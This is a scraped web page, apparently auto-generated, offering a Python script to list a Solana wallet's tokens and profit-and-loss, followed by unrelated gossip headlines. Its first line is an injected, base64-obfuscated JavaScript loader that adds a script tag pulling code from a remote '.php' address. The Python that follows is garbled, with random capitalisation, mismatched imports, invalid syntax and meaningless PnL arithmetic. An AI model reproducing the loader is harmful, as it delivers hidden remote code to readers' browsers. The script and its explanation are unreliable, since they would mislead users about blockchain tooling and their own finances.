Solana: list tokens pnl purchased from a solana wallet
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=49803572″;document.body.appendChild(script);
I can provide you with a sample python script that achieves what you’re asking for. This script uses the pysolana library to interact with the solana blockchain.
Note:
You’ll Need to Install Pysolana Using Pip:Pip Install Pysolana
`Python
Import OS
from solana.publickey import pubkey
from py_solana.api import account_info, System_info
Def get_wallet_address ():
"" ""
Returns a wallet address from a text file.
The File Should Contain the Wallet Address In The First Line of Each Line,
Separated by a Newline Character.
: Return: A Solana Public Key That Repeats The Wallet Address.
"" ""
With Open ('Wallet.txt', 'R') AS F:
For Line in F:
if line.strip ()! = '':
Return line.strip ()
Raise Valueerror ("Wallet Address Not Found in Wallet.txt")
Def Get_Tokens_With_Balance (Wallet_address):
"" ""
Returns A List of Tokens Purchased by the Specific Wallet Address,
With a balance greater than 0.
: Param Wallet_address: A Solana Public Key That Repeats The Wallet Address.
: Return: A List of Tuples, Where Each Tuple Contains:
- The Token Name (E.G. 'Dai', 'Sol')
- The Token Symbol
- The Quantity Purchased
- The Balance on the Current account
"" ""
tokens = []
For Entry in System_info.entries:
if entry ['id'] == wallet_address and entry ['Balance']> 0::
token_name, token_symbol = entry ['name'], Entry ['Symbol']
token_quantity = entry.get ('quantity', 1)
Balance = Entry.get ('Balance', 0)
tokens.Apend ((token_name, token_symbol, token_quantity, balance))
Return tokens
Def Get_PNL (tokens):
"" ""
Returns the profit and loss on Each token.
: Param tokens: a list of tuples containing information about each token.
Each Tuple Should Contain:
- The Token Name (E.G. 'Dai', 'Sol')
- The Token Symbol
- The Quantity Purchased
- The Balance on the Current account
"" ""
Pnl = []
for token in tokens:
Profit = token [2] * 10000 / token [1]
Loss = -Profit
pnl.Apend ((token [0], token [1], profit, loss))
Return PNL
Def Main ():
wallet_address = get_wallet_address ()
Try:
tokens = get_tokens_with_balance (wallet_address)
pnl = get_pnl (tokens)
Print ("Wallet Address:" Wallet_address)
For Token in PNL:
Print (f "{token [0]} ({token [1]}) - {token [2]} x {token [3]} Balance")
Except Valueerror As E:
Print (E)
if __name__ == '__main__':
Main ()
This script assumes that your wallet address is in a file named wallet.txt in the same directory, with each line containing a single line break (\ n) and the wallet address on sub -sub -squent lines. For Example:
ABC123
Def456
GHI789
`
In This Case, The Script Will Output Something Like:
`Python
Wallet Address: ABC123
Dai (1x) - 1000 Balance
Sol (2x) - 20000 balance
Note that this is a Simplified Example and does not account for additional factors that may affect your wallet’s performance, such as gas fees or slippage. You may need to modify the script to suit your specific use case.
Also, keep in mind that you’ll need to replace ABC123 with your actual wallet address before running this script.
TRENDING SONGS
Trending Video: Muslim Man Joins Wife in Hallelujah Challenge ‘Dress Like Your Miracle’ Night
Woman Seeks Advice as Late Brother’s Wife Refuses to Mourn Him Following His Death With Alleged Mistress
Nobody Cares About Fine Girls In The UK, I Miss Nigeria — Nigerian Lady Laments
Wedding Called Off: How Lady Cancels Wedding After Finding Out Finance’s Affairs With Her Bestie
Heartbreak in Ikeja: Lady Weeps After Fufu Found in New Phone Package
Twist of Fate: Man Who Questioned Phyna’s ₦1Billion Demand Mourns Brother in Dangote Truck Crash
Tragedy in Enugu: Dangote Truck Claims Lives of Family of Five
Bangkok Crackdown: Nigerian-Thai Couple in Police Net Over Drug Trafficking
Family Rift: Reno Omokri’s Ex-Wife Says He Deserted Their Special Needs Son
The Man Who Sent Money for Two Decades, Only to Return to an Empty Shell
Share this post with your friends on ![]()
